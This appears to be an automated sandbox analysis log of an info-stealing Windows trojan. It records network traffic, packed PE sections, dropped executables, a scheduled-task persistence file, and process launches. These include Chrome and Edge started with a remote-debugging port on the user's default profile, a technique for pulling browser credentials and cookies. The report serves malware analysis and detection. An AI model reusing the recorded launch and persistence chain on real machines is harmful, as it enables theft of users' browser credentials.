Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62196
Source: unknown	Network traffic detected: HTTP traffic on port 62178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62187
Source: unknown	Network traffic detected: HTTP traffic on port 62189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62189
Source: unknown	Network traffic detected: HTTP traffic on port 62053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62240
Source: unknown	Network traffic detected: HTTP traffic on port 62294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62361
Source: unknown	Network traffic detected: HTTP traffic on port 62191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62239
Source: unknown	Network traffic detected: HTTP traffic on port 62339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62119
Source: unknown	Network traffic detected: HTTP traffic on port 62130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62351
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62113
Source: unknown	Network traffic detected: HTTP traffic on port 62222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62235
Source: unknown	Network traffic detected: HTTP traffic on port 62316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62237
Source: unknown	Network traffic detected: HTTP traffic on port 62304 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:62114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:62324 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C54B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C54B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C54B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4EF280

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E35A0	0_2_6C4E35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55545C	0_2_6C55545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5440	0_2_6C4F5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525C10	0_2_6C525C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532C10	0_2_6C532C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55AC00	0_2_6C55AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55542B	0_2_6C55542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D4D0	0_2_6C50D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F64C0	0_2_6C4F64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C526CF0	0_2_6C526CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED4E0	0_2_6C4ED4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F6C80	0_2_6C4F6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5434A0	0_2_6C5434A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54C4A0	0_2_6C54C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50ED10	0_2_6C50ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510512	0_2_6C510512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FFD00	0_2_6C4FFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C520DD0	0_2_6C520DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5485F0	0_2_6C5485F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C509E50	0_2_6C509E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C523E50	0_2_6C523E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504640	0_2_6C504640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532E4E	0_2_6C532E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C556E63	0_2_6C556E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC670	0_2_6C4EC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C527E10	0_2_6C527E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C535600	0_2_6C535600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C549E30	0_2_6C549E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5576E3	0_2_6C5576E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EBEF0	0_2_6C4EBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FFEF0	0_2_6C4FFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505E90	0_2_6C505E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54E680	0_2_6C54E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C544EA0	0_2_6C544EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C527710	0_2_6C527710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9F00	0_2_6C4F9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516FF0	0_2_6C516FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EDFE0	0_2_6C4EDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5377A0	0_2_6C5377A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C508850	0_2_6C508850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D850	0_2_6C50D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52F070	0_2_6C52F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F7810	0_2_6C4F7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B820	0_2_6C52B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534820	0_2_6C534820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5550C7	0_2_6C5550C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C0E0	0_2_6C50C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5258E0	0_2_6C5258E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5160A0	0_2_6C5160A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50A940	0_2_6C50A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B970	0_2_6C53B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B170	0_2_6C55B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD960	0_2_6C4FD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525190	0_2_6C525190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542990	0_2_6C542990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D9B0	0_2_6C51D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC9A0	0_2_6C4EC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C529A60	0_2_6C529A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C528AC0	0_2_6C528AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C501AF0	0_2_6C501AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52E2F0	0_2_6C52E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55BA90	0_2_6C55BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552AB0	0_2_6C552AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E22A0	0_2_6C4E22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C514AA0	0_2_6C514AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FCAB0	0_2_6C4FCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5340	0_2_6C4E5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC370	0_2_6C4FC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D320	0_2_6C52D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5553C8	0_2_6C5553C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EF380	0_2_6C4EF380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C578BB	23_2_00C578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C57049	23_2_00C57049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C58860	23_2_00C58860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C14DE0	23_2_00C14DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C531A8	23_2_00C531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C52D10	23_2_00C52D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C5779B	23_2_00C5779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C14B30	23_2_00C14B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C47F36	23_2_00C47F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C51CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5294D0 appears 90 times

Source: file.exe, 00000000.00000002.2444197761.000000006C765000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: nfgxifxz ZLIB complexity 0.9948350826007881
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983342557901907
Source: random[1].exe.0.dr	Static PE information: Section: ajpijdkd ZLIB complexity 0.9945748465401786
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983342557901907
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: Section: ajpijdkd ZLIB complexity 0.9945748465401786
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9983342557901907
Source: skotes.exe.20.dr	Static PE information: Section: ajpijdkd ZLIB complexity 0.9945748465401786

Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.20.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@69/210@26/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C547030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C547030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\3N27KE4I.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8508:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\86c696e6-98d1-4f7c-96f5-f3c7e960ebbb.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2277930257.000000001D274000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331732.000000001D259000.00000004.00000020.00020000.00000000.sdmp, BAAFIJKKEHJDHJKFIECA.0.dr, CAKKJKKECFIDGDHIJEGD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2441893393.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDGCFHIDAKE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2388,i,16510555146849537744,13459730630800446723,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2220,i,7239485134690088343,7052541673815001243,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2800 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2388,i,16510555146849537744,13459730630800446723,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
